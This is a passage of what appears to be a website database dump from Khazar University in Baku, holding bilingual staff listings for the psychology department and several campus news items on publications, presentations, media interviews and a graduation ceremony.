Alizada</a></strong></strong></strong><br></p><p>MS in Health Psychology (Coventry University, England)&nbsp;</p><p>BS in Psychology (Khazar University, Azerbaijan)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://mkerimova@khazar.org/\"></a><a href=\"mailto:nalizada@khazar.org\">nalizada[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"/files/psycho_depart/unnamed.jpg\" style=\"width:150px;height:100px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/social/foto/T.%20Javadzade%20CV%2012%20(1).pdf\">Tahmasib Javadzade<br></a></strong></p><p>MS in Clinical Psychology&nbsp;(Allameh Tabataba\'i University, Islamic Republic of Iran)&nbsp;</p><p>BS in Psychology (The Academy of Sciences,&nbsp;Islamic Republic of Iran)</p><p style=\"padding-left:160px\"><strong>E-mail</strong>:&nbsp;<a href=\"mailto:tahmasib.javadzada@khazar.org\">tahmasib.javadzada[at]khazar.org</a></p>\r\n<hr>\r\n<span style=\"font-size:large\"><p><strong><img src=\"/files/letters/roya-m.jpg\" style=\"width:150px;height:188px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></strong><a href=\"http://www.khazar.org/files/psycho_depart/ROYA%20MIRZEYEVAcee.pdf\"><strong>Roya Mirzayeva</strong></a></p><p>BS in Medicine (Azerbaijan Medical University)  <br></p><p><a href=\"http://roychik@mail.ru/\"></a><strong>E-mail</strong>:&nbsp;<a href=\"mailto:roya.mirzayeva@khazar.org\">roya.mirzayeva[at]khazar.org</a></p><p style=\"font-weight:bold\"><br></p></span><p><br></p>\r\n<hr>\r\n<strong style=\"font-size:large\"><img src=\"/files/psycho_depart/27721467_929121120596567_1601263016_n.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a></a></strong><p><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/psycho_depart/CV/aygun_isgandarova_cv(eng).pdf\">Aygun Isgandarova</a></strong></p><p>BS in Medicine (Azerbaijan Medical University)</p><p>Specialization Resident (Azerbaijan Medical University)<br></p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:aygun.isgandarova@khazar.org\">aygun.isgandarova[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong style=\"font-size:large\"><strong><a href=\"http://www.khazar.org/files/social/L%C9%99man%20Verdiyeva-CV(AZ).pdf\"><img src=\"http://www.khazar.org/files/letters/laman_v.jpg\" style=\"border:0px  #0000ee;width:150px;height:225px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong></strong><strong><a href=\"http://www.khazar.org/files/psycho_depart/CV/leman_verdiyeva_cv.pdf\">Laman Verdiyeva</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/social/L%C9%99man%20Verdiyeva-CV(AZ).pdf\"></a></strong>PhD in Philosophy and&nbsp;Sociology (Azerbaijan National Academy of Sciences)</p><p>MS in Pedagogy (Ganja State University, Azerbaijan)</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:laman.verdiyeva@khazar.org\">laman.verdiyeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p> \r\n<hr>\r\n<p><strong><strong><a href=\"http://www.khazar.org/files/psycho_depart/FARAH%20ADIG%C3%96Z%C6%8FLOV.pdf\"><img src=\"/files/psycho_depart/farah%20x.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Farah Adigozalova</a></strong></strong>  <br></p><p>MS in Psychology (Russian Federation)</p><p>BS in Psychology&nbsp;(Moscow State University of Psychology and Education,&nbsp;Russia)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:farah.sarahova@khazar.org\">farah.sarahova[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/psycho_depart/images/aytaj_sahil.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/psycho_depart/CV/aytac_sahil_CV.pdf\">Aytaj Sahil</a></strong></p><p>MS in&nbsp;Development Psychology (Baku State University, Azerbaijan)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:aselimova@khazar.org\">aselimova[at]khazar.org</a>  </p><p><br></p><p><br></p>  \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/psycho_depart/CV/jeyhun_aliyev_CV.pdf\"><img src=\"/files/psycho_depart/images/jeyhun_aliyev.jpg\" style=\"width:150px;height:227px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Jeyhun Aliyev</a></strong></p><p><a href=\"mailto:ceyhunaliyev@mail.ru\"></a><strong>E-mail:&nbsp;</strong><a href=\"mailto:ceyhunaliyev@mail.ru\">ceyhunaliyev[at]mail.ru</a><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>  \r\n<hr><p>\r\n<strong><a href=\"http://www.khazar.org/files/psycho_depart/CV/anar_babayev_cv(eng).pdf\"><img src=\"/files/psycho_depart/images/anar_babayev.JPG\" style=\"width:150px;height:167px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Anar Babayev</a></strong></p><p><strong>E-mail:&nbsp;</strong>  <a href=\"mailto:anar_musasoy@yahoo.com\">anar_musasoy[at]yahoo.com</a></p>'),(1006,642,'en',' About Us',' About Us','<p>Department of Psychology</p><p>The Department of Psychology was established in 2010. The program combines the theory and practice of psychology and teaches techniques of individual and group psychological counseling and care, which are essential for a successful career in the field. It focuses on psychological topics such as human development, abnormal behavioral and cognitive psychologies, child psychology, beginning statistics, general psychology, social psychology and neuropsychology.</p><p>Career prospects:</p><p>The alumni of the program have an opportunity to find jobs in any institutions and organizations where human relations and communications take place. Graduates are hired for positions that make use of the knowledge and skills they have obtained during their study.</p>  <div><br></div>'),(1007,643,'az','Proqramlar','Proqramlar','<p><a href=\"http://www.khazar.org/files/psycho_depart/tedris_qr_BS_AZ_.pdf\"><strong>Psixologiya üzrə Bakalavr Dərəcə Proqramı</strong></a></p>\r\n<p><a href=\"http://www.khazar.org/files/psycho_depart/tedris_qr_MS_AZ_.pdf\"><strong>Kliniki Psixologiya üzrə Magistr Dərəcə Proqramı</strong></a></p>'),(5135,2986,'az','Azərbaycan Xalq Cumhuriyyətinin 100 illik yubileyinə həsr olunmuş “Mühacirlərin dönüşü” adlı açıq mühazirə olacaq','2018-ci il martın 16-sı saat 14:30-da Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin təşkilatçılığı...','<p>2018-ci il martın 16-sı saat 14:30-da Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin təşkilatçılığı ilə Azərbaycan Xalq Cümhuriyyətinin 100 illik yubileyinə həsr olunmuş “<strong>Mühacirlərin dönüşü</strong>” adlı açıq mühazirə baş tutacaq. Mühazirəni 2012-ci ildən Azərbaycan Xalq Cümhuriyyəti və mühacirət tarixi ilə bağlı araşdırma aparan jurnalist-yazar, kolleksiyaçı Dilqəm Əhməd keçirəcək. Tədbirdə həmçinin Dilqəm Əhmədin kolleksiyasına aid Cümhuriyyət dövrünün nadir foto və sənədləri də sərgilənəcək və TEAS-Press tərəfindən nəşr edilmiş “<strong>Mühacirlərin dönüşü</strong>” və “<strong>Fərqlilər</strong>” kitablarının təqdimatı və imza günü keçiriləcək.</p><p><img src=\"/files/letters/muhacir.jpg\" style=\"border:0px #000000;width:500px;height:704px;margin-left:70px;margin-top:7px;margin-right:7px;vertical-align:baseline\"><br></p>'),(4969,2899,'en','A Paper by a Staff Member of English Language and Literature Department is published','An article entitled “English Linguistic Jokes under the Umbrella of Semiotics” by Ilham Taghiyev, a lecturer of English Language...','<p>An article entitled “English Linguistic Jokes under the Umbrella of Semiotics” by Ilham Taghiyev, a lecturer of English Language and Literature Department, was published in the 17th issue, 2017, of the journal “Semiotics” in Georgia.</p><p>The author suggests a semiotic approach to English linguistic jokes which enables to include traditionally incompatible jokes in one category.</p>'),(4970,2899,'az','İngilis dili və Ədəbiyyatı Departamentinin müəlliminin məqaləsi Gürcüstanda çap olunub','İngilis dili və ədəbiyyatı departamentinin müəllimi İlham Tağıyevin “İngilis Linqvistik Yumoru Semiotika Çətiri Altında...','<p>İngilis dili və ədəbiyyatı departamentinin müəllimi İlham Tağıyevin “İngilis Linqvistik Yumoru Semiotika Çətiri Altında” başlıqlı məqaləsi Gürcüstanda çıxan “Semiotcs” jurnalının 2017-ci il 17 ci sayında çap olunub.</p><p>Müəllif ingilis linqvistik yumoruna semiotik cəhətdən yanaşmaqla ənənəvi baxışdan fərqli yumor növlərini eyni kateqoriyaya daxil etməyi təklif edir.</p>'),(4971,2900,'az','Mərkəzi Elmi Kitabxanada “Elektron resursların işlənməsi” mövzusunda təqdimat oldu','2018-ci il fevralın 6-da AMEA-nın Mərkəzi Elmi Kitabxanasında Azərbaycan Kitabxana İnformasiya Konsorsiumunun...','<p>2018-ci il fevralın 6-da AMEA-nın Mərkəzi Elmi Kitabxanasında Azərbaycan Kitabxana İnformasiya Konsorsiumunun təşkilatçılığı ilə Oxford University Press məlumat bazasının “Elektron resursların işlənməsi” mövzusunda təqdimatı və bu bazadan istifadə qaydalarına həsr olunmuş tədbir keçirildi.</p><p>Məruzəçi Oksford Universitetinin beynəlxalq nəşriyyatın regional meneceri Marcin Dembowski idi.</p><p>Tədbirdə Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin direktor müavini Aytac Misgərli iştirak etdi.</p>'),(4972,2900,'en','A presentation on “Use of Electronic Resources” held at Central Scientific Library','A presentation on“Use electronic resources” of database of Oxford University Press and a seminar dedicated...','<p>A presentation on“Use electronic resources” of database of Oxford University Press and a seminar dedicated to rules for use of the database was&nbsp;held at Central Scientific Library of ANAS with organizational support of Azerbaijan Library Information Consortium on February 6, 2018.</p><p>The speaker was Marcin Dembowski, regional manager of the&nbsp;international publisher of Oxford University.</p><p>Aytaj Misgarli, Vice-director of Library-Information Center of Khazar University, also participated at the seminar.</p>'),(4973,2901,'en','An interview with an American graduate of Khazar University','Martha Lauri, a graduate and former staff member of Khazar University gave an interview to qafqazinfo.az','<p>Martha Lauri, a graduate and former staff member of Khazar University gave an interview to <strong><em>qafqazinfo.az</em></strong> news website on February 6, 2018.</p><p>Links for full interview:</p><p style=\"background:undefined \"><a href=\"http://qafqazinfo.az/news/detail/birce-xasi-yeye-bilmirem-amerikali-olduguna-inanmayacaqsiz-210096\">http://qafqazinfo.az/news/detail/birce-xasi-yeye-bilmirem-amerikali-olduguna-inanmayacaqsiz-210096</a>;</p><p><a href=\"http://sonxeber.az/72641/birce-xasi-yeye-bilmirem-amerikali-olduguna-inanmayacaqsiz-video\">http://sonxeber.az/72641/birce-xasi-yeye-bilmirem-amerikali-olduguna-inanmayacaqsiz-video</a>.</p>'),(4974,2901,'az','Xəzər Universitetinin amerikalı məzunu müsahibə verdi','2018-ci il fevralın 6-da Xəzər Universitetinin məzunu və sabiq əməkdaşı Marta Lauri qafqazinfo.az xəbər saytına...','<p>2018-ci il fevralın 6-da Xəzər Universitetinin məzunu və sabiq əməkdaşı Marta Lauri <strong><em>qafqazinfo.az</em></strong> xəbər saytına müsahibə vermişdir.</p><p>Müsahibəni bu linklər vasitəsilə oxumaq olar:</p><p><a href=\"http://qafqazinfo.az/news/detail/birce-xasi-yeye-bilmirem-amerikali-olduguna-inanmayacaqsiz-210096\">http://qafqazinfo.az/news/detail/birce-xasi-yeye-bilmirem-amerikali-olduguna-inanmayacaqsiz-210096</a>;</p><p><a href=\"http://sonxeber.az/72641/birce-xasi-yeye-bilmirem-amerikali-olduguna-inanmayacaqsiz-video\">http://sonxeber.az/72641/birce-xasi-yeye-bilmirem-amerikali-olduguna-inanmayacaqsiz-video</a>.</p>'),(4975,2902,'az','İngilis dili və ədəbiyyatı departamentində təqdimatlar','Fevralın 1-də Xəzər Universitetinin İngilis dili və ədəbiyyatı departamentində filologiya üzrə fəlsəfə doktorluğuna...','<p>Fevralın 1-də Xəzər Universitetinin İngilis dili və ədəbiyyatı departamentində filologiya üzrə fəlsəfə doktorluğuna namizədlər İlham Tağıyev və Milana Abbasova öz tədqiqat mövzuları üzrə (“İngilis yumorunun koqnitiv xüsusiyyətlərinin eksperimental tədqiqi”; “İngilis dilinin tədqiqinə sosiolinqvistik yanaşmada müasir tendensiyalar”; hər iki işin elmi rəhbəri - filologiya elmləri doktoru, professor Fəxrəddin Veysəlli) təqdimatla çıxış etmişlər.</p><p>Təqdimatda Xəzər Universitetinin rektoru, Dr. Hassan Niknafs, Tədris işləri üzrə prorektor, professor Məhəmməd Nuriyev, Elmi işlər üzrə prorektor Dr. İradə Xəlilova, Magistratura, doktorantura və elmi işlər bölməsinin müdiri Dr. Eldar Şahgəldiyev və departamentin əməkdaşları iştirak edirdilər. Hər iki təqdimat iştirakçılar tərəfindən maraqla dinlənilmişdir. Axırda təqdimatçılar iştirakçıların çoxsaylı suallarına cavab vermişlər.</p>'),(4976,2902,'en','Research Presentations at English Language and Literature Department','On February 1, Ilham Taghiyev and Milana Abbasova, PhD candidates of English Language and Literature Department of Khazar...','<p>On February 1, Ilham Taghiyev and Milana Abbasova, PhD candidates of English Language and Literature Department of Khazar University, delivered research presentations on their research topics: “Experimental Research of Cognitive Properties of English Humor” and “Modern Tendencies in Sociolinguistic Approach to English Language Research”, both supervised by Prof. Sc.D. Fakhreddin Veysalli, respectively.&nbsp;</p><p>The presentation was attended by Dr. Hassan Niknafs, the Rector of Khazar University, Dr. Mahammad Nuriyev, Vice-rector on Education, Dr. Irada Khalilova, Vice-rector on Research, Dr. Eldar Shahgaldiyev, Head of the Division of Graduate Studies and Research, and the staff of English Language and Literature Department. Both presentations were listened to with great interest by the participants. After the presentations there was a question and answer session where the presenters answered the questions of the participants.</p>'),(4978,2903,'az','Professor Hamlet İsaxanlı Azərbaycan təhsilinin Avropa ali təhsil sisteminə inteqrasiyası ilə bağlı fikirlərini bölüşdü','2018-ci il fevralın 5-də “Exo” qəzetinin (rusca) rəsmi internet səhifəsində “Azərbaycan və Avropa ali təhsil sisteminə inteqrasiya...','<p>2018-ci il fevralın 5-də “Exo” qəzetinin (rusca) rəsmi internet səhifəsində “Azərbaycan və Avropa ali təhsil sisteminə inteqrasiya” adlı araşdırma məqaləsi yayınlanmışdır. Məqalədə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının Azərbaycan təhsilinin Avropa ali təhsil sisteminə inteqrasiyası ilə bağlı fikirlərinə yer verilmişdir.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://ru.echo.az/?p=67063\">http://ru.echo.az/?p=67063</a>.<br></p>'),(6101,3478,'en','Hamlet Isakhanli remarks on the quality of universities','Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, shared...','<p>Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, shared his remarks with the media on quality, quantity, etc. of higher education institutions in Azerbaijan.</p><p>More information is available through the following links:</p>  \r\n<p><a href=\"http://olaylar.az/news/sosial/299339\">http://olaylar.az/news/sosial/299339</a>;</p><p><a href=\"http://musavat.com/news/universitetlerin-sayi-azaldilsin-ya-yox_560666.html\">http://musavat.com/news/universitetlerin-sayi-azaldilsin-ya-yox_560666.html</a>;</p><p><a href=\"http://deyerler.org/418704-universitetljrin-sayd-azalddlsdn-ya-yoxe.html\">http://deyerler.org/418704-universitetljrin-sayd-azalddlsdn-ya-yoxe.html</a>.  <br></p>'),(3143,1855,'az','Layihə koordinatorlarının Brüsseldə illik görüşü','2017-ci il yanvarın 25 və 26-da Brüsseldə Erasmus+ proqramı çərçivəsində 2016-cı il üçün maliyyələşdirilməyə seçilmiş layihələrin koordinatorlarının  illik görüşü keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il yanvarın 25 və 26-da Brüsseldə\r\nErasmus+ proqramı çərçivəsində 2016-cı il üçün maliyyələşdirilməyə seçilmiş\r\nlayihələrin koordinatorlarının illik görüşü keçirildi. Görüşdə Xəzər\r\nUniversiteti İnkişaf Mərkəzinin direktoru Raziyə İsayeva da iştirak edirdi. İki\r\ngünlük görüşdə 100 ölkədən 147 ali məktəbin nümayəndəsi layihə ilə bağlı fikir\r\nmübadiləsi və müzakirələr apardı. Görüşün ikinci günü xüsusi yaradılmış qrup\r\nsullara cavab verdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Ardıcıl olaraq dördüncü ildir ki, Xəzər\r\nUniversiteti layihə qazanır və ikinci dəfədir ki, Xəzər Universiteti layihə\r\nqazanan yeganə Azərbaycan universitetdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər Universitetinin “Azərbaycan\r\nUniversitetlərində təlim-tədris prosesinin inkişafı” adlı hazırkı layihəsi 14\r\nyerli və Avropa universitetini bir araya gətirir və Azərbaycanda təlim-tədris\r\nişinin gücləndirilməsinə xidmət etməyi nəzərdə tutur.&nbsp;</p>'),(1005,641,'az','İşçi heyəti','İşçi heyəti','<p style=\"text-align:left\"><img src=\"/files/psycho_depart/27848983_929272787248067_1562425506_n.jpg\" style=\"width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/en/menus/901/_ulker_isayeva\">Ülkər İsayeva</a></strong></p>\r\n<p><strong>Şöbə müdiri</strong></p><p>Sosial və təşkilat psixologiyası üzrə PhD namizəd (Koç Universiteti, Türkiyə)<br></p><p>Koqnitiv nevrologiya ixtisası üzrə magistr (York Universiteti,&nbsp;İngiltərə)</p><p>Psixologiya ixtisası üzrə bakalavr (Xəzər Universiteti,&nbsp;Azərbaycan)&nbsp;</p><p><strong>E-mail:</strong> <a href=\"mailto:uisayeva@khazar.org\">uisayeva[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/social/foto/melek.JPG\" style=\"border:0px  #000000;margin:0px 7px 7px;float:left;width:150px;height:155px\"><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/pdf/MELEK%20KERIMOVA%20CV.pdf\" style=\"font-size:large\">Mələk Kərimova</a></strong></p><p style=\"font-weight:bold\">Psixologiya&nbsp;Departamentinin koordinatoru&nbsp;</p><p style=\"font-weight:bold\"><strong>Xəzər Psixoloji Xidmət Mərkəzinin direktoru</strong></p><p>Sosial fəlsəfə&nbsp;ixtisası üzrə PhD namizəd<br>(Xəzər Universiteti, Azərbaycan)</p><p style=\"padding-left:160px\">Psixoloji xidmət və rəhbərlik ixtisası üzrə magistr<br>(Hacettepe,&nbsp;Universiteti, Türkiyə)</p><p style=\"padding-left:160px\">Psixoloji xidmət və rəhbərlik ixtisası üzrə bakalavr<br>(Hacettepe,&nbsp;Universiteti, Türkiyə)  </p><p style=\"padding-left:160px\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:mkerimova@khazar.org\">mkerimova[at]khazar.org</a>  <a href=\"http://mkerimova@khazar.org\"></a></p><p style=\"padding-left:160px\"><strong>Telefon</strong>:&nbsp;(+994&nbsp;12) 421 10 93 (275)&nbsp;</p>\r\n<hr>\r\n<p style=\"text-align:justify\"><strong><strong><strong><a href=\"http://www.khazar.org/files/pdf/MELEK%20KERIMOVA%20CV.pdf\"><img src=\"/files/psycho_depart/images/nilufar_alizada.jpg\" style=\"width:150px;height:226px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong></strong></strong><strong><strong><strong><a href=\"http://www.khazar.org/files/psycho_depart/CV/nilufar_alizada_CV(AZ).pdf\">Nilufər&nbsp;Əlizadə</a><a href=\"http://www.khazar.org/files/psycho_depart/Nilufar%20Alizada_CV.pdf\"></a></strong></strong></strong></p><p>Sağlamlıq psixologiyası&nbsp;ixtisası&nbsp;üzrə&nbsp;magistr (Coventry Universiteti, İngiltərə)<br></p><p>Psixologiya&nbsp;ixtisası&nbsp;üzrə bakalavr (Xəzər Universiteti, Azərbaycan)<br></p><p><strong>E-mail:</strong><strong>&nbsp;</strong><a href=\"http://mkerimova@khazar.org/\"></a><a href=\"mailto:nalizada@khazar.org\">nalizada[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"/files/psycho_depart/laman_v.jpg\" style=\"width:150px;height:225px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><strong><a href=\"http://www.khazar.org/files/psycho_depart/CV/leman_verdiyeva_cv.pdf\">Ləman Verdiyeva</a></strong></strong></p><p>Sosial psixologiya ixtisası üzrə&nbsp;doktor&nbsp;(Azərbaycan Milli Elmlər Akademiyası,&nbsp;Fəlsəfə&nbsp;İnstitutu)&nbsp;<br></p><p>Pedaqogika nəzəriyyəsi və tarixi ixtisası üzrə magistr (Gəncə Dövlət Universiteti, Azərbaycan)<br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:laman.verdiyeva@khazar.org\">laman.verdiyeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/social/foto/T.%20Javadzade%20CV%2012%20(1).pdf\"><img src=\"/files/psycho_depart/tahmasib%20cavadzade.jpg\" style=\"width:150px;height:100px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Təhmasib Cavadzadə</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/social/foto/T.%20Javadzade%20CV%2012%20(1).pdf\"></a></strong>Klinik psixologiya&nbsp;ixtisası&nbsp;üzrə magistr (Əllamə Təbatəbai&nbsp;Universiteti, İran İslam&nbsp;Respublikası)</p><p style=\"padding-left:160px\">Psixologiya&nbsp;ixtisası   üzrə&nbsp;bakalavr&nbsp;(Humanitar Elmlər&nbsp;Akademiyası,<br>İran İslam&nbsp;Respublikası)</p><p style=\"padding-left:160px\"><strong>E-mail:&nbsp;</strong><a href=\"mailto:tahmasib.javadzada@khazar.org\">tahmasib.javadzada[at]khazar.org</a></p><a href=\"http://www.khazar.org/files/psycho_depart/ROYA%20MIRZEYEVAcee.pdf\"></a>\r\n<hr>\r\n<span style=\"font-size:large\"><p><strong><img src=\"/files/letters/roya-m.jpg\" style=\"width:150px;height:188px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></strong><a href=\"http://www.khazar.org/files/psycho_depart/ROYA%20MIRZEYEVAcee.pdf\"><strong>Röya Mirzəyeva</strong></a><strong>&nbsp;</strong><strong style=\"font-weight:bold\">&nbsp;</strong></p></span><p>Müalicə işi ixtisası&nbsp;(Azərbaycan&nbsp;Tibb Universiteti)<br></p><p><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/psycho_depart/ROYA%20MIRZEYEVAcee.pdf\"></a></strong><strong>E-mail:</strong>&nbsp;<a href=\"http://roychik@mail.ru\"></a><a href=\"mailto:roya.mirzayeva@khazar.org\">roya.mirzayeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr><strong><a href=\"http://www.khazar.org/files/psycho_depart/CV_A.Isgandarova_az.pdf\"><img src=\"/files/psycho_depart/27721467_929121120596567_1601263016_n.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/psycho_depart/CV/aygun_isgandarova_cv(az).pdf\">Aygün İsgəndərova</a></strong></p><p>Psixiatriya kafedrası, rezidentura (Azərbaycan Tibb Universiteti)  <br></p><p>Müalicə işi ixtisası&nbsp;(Azərbaycan&nbsp;Tibb Universiteti)  <br></p><p><strong>E-mail:</strong> <a href=\"mailto:aygun.isgandarova@khazar.org\">aygun.isgandarova[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><strong><strong><a href=\"http://www.khazar.org/files/psycho_depart/FARAH%20ADIG%C3%96Z%C6%8FLOV.pdf\"><img src=\"/files/psycho_depart/farah%20x.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Fərəh Adıgözəlova</a></strong></strong>&nbsp;</p><p>Psixologiya ixtisası üzrə magistr (Xalqlar arası&nbsp;Təkmilləşdirmə Yüksəlişi&nbsp;proqramı üzrə Moskva&nbsp;Məsləhət və Sistemli&nbsp;Həllər İnstitutu,&nbsp;Rusiya)&nbsp;</p><p>Psixologiya ixtisası üzrə bakalavr (Moskva Psixologiya və&nbsp;Pedaqogika Universiteti,&nbsp;Rusiya)</p><p style=\"padding-left:160px\"><strong>E-mail:&nbsp;</strong><a href=\"mailto:farah.sarahova@khazar.org\">farah.sarahova[at]khazar.org</a></p>  \r\n<hr>\r\n<p><strong><img src=\"/files/psycho_depart/images/aytaj_sahil.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/psycho_depart/CV/aytac_sahil_CV.pdf\">Aytac Sahil</a></strong></p><p>İnkişaf psixologiyası ixtisası üzrə magistr (Bakı&nbsp;Dövlət Universiteti, Azərbaycan  )</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:aselimova@khazar.org\">aselimova[at]khazar.org</a>  </p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/psycho_depart/CV/jeyhun_aliyev_CV.pdf\"><img src=\"/files/psycho_depart/images/jeyhun_aliyev.jpg\" style=\"width:150px;height:227px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Ceyhun Əliyev</a></strong></p><p><a href=\"mailto:ceyhunaliyev@mail.ru\"></a><strong>E-mail:&nbsp;</strong><a href=\"mailto:ceyhunaliyev@mail.ru\">ceyhunaliyev[at]mail.ru</a><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>  \r\n<hr><p>\r\n<strong><a href=\"http://www.khazar.org/files/psycho_depart/CV/anar_babayev_cv(az).pdf\"><img src=\"/files/psycho_depart/images/anar_babayev.JPG\" style=\"width:150px;height:167px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Anar Babayev</a></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:anar_musasoy@yahoo.com\">anar_musasoy[at]yahoo.com</a></p>'),(3706,2166,'en','Former Instructor of Khazar University Publishes Article ','On April 18, 2017, an article entitled “An intelligent approach to predict gas compressibility factor using neural network model” by Mehdi Zarei, a former instructor of Khazar...','<p style=\"\" margin-bottom:6.0pt;text-align:justify;background:#fcfcfc\"\"=\"\">On April 18, 2017, an article entitled “An intelligent approach to\r\npredict gas compressibility factor using neural network model” by Mehdi Zarei,\r\na former instructor of Khazar University, was published in <a href=\"https://link.springer.com/journal/521\" title=\"Neural Computing and Applications\"><em>Neural Computing and Applications</em></a><em>\r\nJournal</em>, a well-known Springer publication, with a good impact factor\r\n1.492 in this field. The article was published by Khazar’s affiliation as well\r\nas the corresponding author.&nbsp; </p>\r\n<p style=\"\" margin-bottom:6.0pt;text-align:justify;background:#fcfcfc\"\"=\"\">The article is available at the following link:<a href=\"https://link.springer.com/article/10.1007/s00521-017-2979-7\" title=\"\" https:=\"\" link.springer.com=\"\" article=\"\" 10.1007=\"\" s00521-017-2979-7=\"\" ctrl+click=\"\" or=\"\" tap=\"\" to=\"\" follow=\"\" the=\"\" link\"\"=\"\">https://link.springer.com/article/10.1007/s00521-017-2979-7</a><strong></strong></p>\r\n<p style=\"\" margin-bottom:6.0pt;text-align:justify;background:#fcfcfc\"\"=\"\">Now, Mehdi Zarei is studying Ph.D. degree at the University of\r\nNewcastle (UoN) in Australia.<strong></strong></p>'),(3146,1857,'az','Professor Hamlet İsaxanlı İctimai TV-nin “Sarı sim” proqramında','2017-ci il yanvarın 29-d a Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı İctimai TV-nin “Sarı sim” proqramında qonaq oldu...','<p>2017-ci il\r\nyanvarın 29-d a Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı İctimai TV-nin “Sarı sim” proqramında\r\nqonaq oldu.&nbsp; Professor İsaxanlı yaradıcılıq və hobbilər, musiqi və şeir,\r\nriyaziyyat və dil, hisslərin dili və təbiətin dili, xalq mahnıları, onların\r\ntoplanması və ifa olunması kimi məsələlər ətrafında söhbətlər etdi, suallara\r\ncavab verdi və şeirlərindən bir neçəsini oxudu. &nbsp; &nbsp;&nbsp;</p>'),(2361,1429,'en','Khazar University’s 40th and 41st Graduation Ceremony','On October 15, 2016, a graduation ceremony for Khazar University’s 40th and 41st classes was held at the Opera Studio of Baku Music Academy...','<p>On\r\nOctober 15, 2016, a graduation ceremony for Khazar University’s 40<sup>th</sup>\r\nand 41<sup>st</sup> classes was held at the Opera Studio of Baku Music Academy.\r\nThe university administration, faculty, staff, students, parents and visitors\r\nattended the event. The ceremony began with the National Hymn of the Azerbaijan\r\nRepublic. </p>\r\n<p>Dr.\r\nHassan Niknafs, President of Khazar University, congratulated the graduates and\r\nwished them success in their future lives. </p>\r\n<p>In\r\nKhazar University’s 25-year history, it has graduated 2944 bachelors and 616\r\nmaster’s students (including the 293 bachelors and 42 master’s students\r\ngraduating today). Of those, 767 earned honors diplomas. </p>\r\n<p>A\r\nslideshow about Khazar University’s history was shown, followed by the reading\r\nof a thank-you letter from the graduating class to the university\r\nadministration. </p>\r\n<p>Then\r\nEldar Hamidov, President of Khazar University Alumni Association and Deputy\r\nChairman of the Bank of Baku JSC Executive Board, gave a speech in which he\r\nnoted that the education and skills 